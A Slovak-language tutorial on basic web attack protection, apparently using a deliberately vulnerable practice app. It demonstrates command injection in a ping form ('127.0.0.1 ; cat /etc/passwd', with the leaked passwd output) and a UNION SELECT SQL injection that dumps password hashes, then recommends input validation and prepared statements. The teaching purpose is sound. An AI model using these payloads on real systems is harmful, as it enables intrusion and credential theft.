

Základná ochrana pred útokmi na web I

V tomto dokumente sú analyzované tri základné útoky na web, ktorými útočníci najčastejšie môžu prevziať kontrolu nad zraniteľným systémom.

Neoprávnené vykonávanie príkazov

Pod neoprávneným vykonávaním príkazov rozumieme zneužitie systému na vykonanie príkazu, ktorý nebol mienený na vykonanie v prvom rade. Ako príklad uvedieme možnosť vykonať príkaz ping, pre ktorý stačí zadať IP adresu cieľa.

Ping for FREE

Enter an IP address below:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.047 ms  
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.063 ms  
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.036 ms  
  
--- 127.0.0.1 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 2004ms  
rtt min/avg/max/mdev = 0.036/0.048/0.063/0.013 ms
```

Vďaka nedostatočnej implementácii je ale možné zneužiť mechanizmus, ktorým sa služba na serveri spúšťa. Útočník dokáže využiť funkciu príkazového riadku na zreťazenie príkazov a teda vykonať viacero príkazov súčasne. Útočník takto dokáže vykonávať akékoľvek príkazy s právami používateľa, ktorý spustil web server. Môžeme použiť operátor „;“ alebo „|“ na zreťazenie príkazov a vytvoriť príkaz „**127.0.0.1 ; cat /etc/passwd**“, kde sa najprv vykoná prvá legitímna časť a následne kód útočníka. Na obrazovku sa vypíše celkový výstup procesu.

Bez ošetrenia takejto zraniteľnosti otvárame veľmi vážnu dieru do systému, kde aj útočník na veľmi nízkej technickej úrovni dokáže spôsobiť rozsiahle škody.

Ping for FREE

Enter an IP address below:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.019 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.064 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 0.019/0.049/0.065/0.022 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
test:x:1000:1000:test,,,:/home/test:/bin/bash
```

Ochrana

Ochrana pred takýmto typom útoku spočíva v zablokovaní vkladania iných reťazcov ako tých, ktoré sú očakávaný vstup. V našom prípade funkcie PING očakávame vstup vo formáte IP adresy **X.X.X.X**, kde X musia byť čísla o max. dĺžke jedného bajtu. Číslo spracúvame po jednotlivých zložkách adresy a teda sa nám nikdy nevykoná prípadný vložený kód. Čím detailnejšie nastavíme obmedzenia, tým vyšší stupeň ochrany dosiahneme.

SQL injection

SQL injection je jeden z najpopulárnejších útočných vektorov, kde kvôli neošetrenému vstupu do databázy umožňuje útočníkovi vykonať SQL dotaz. Na základe výstupov z databázy dokáže útočník získať dáta zo systému (informácie o zákazníkoch, mená, heslá, čísla kreditných kariet, ...).

Útočník dokáže vykonávať kód v systéme s oprávneniami SQL servera.

V našom príklade sme k požadovanému vstupu čísla používateľa, o ktorom chceme získať údaje pridali aj SQL záznam, na základe ktorého sme vypísali obsah stĺpcov v tabuľke ku ktorým pôvodne nebolo možné pristupovať.

User ID:

```
ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: admin
Surname: admin

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 1
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 2
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 3
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 4
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 5
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Ochrana

Ochrana pred SQL injectom spočíva v zabránení vloženia SQL kódu do spracúvaného poľa aplikácie.

Najsilnejšiu ochranu ponúkajú takzvané predpripravené výrazy (prepared statements), ktoré obmedzujú vstup od používateľa. Je možné rozlíšiť jednotlivé parametre ktoré vstupujú do SQL reťazca a obmedziť ich (integer, string...) tak, aby nebolo možné zadávať čokoľvek iné.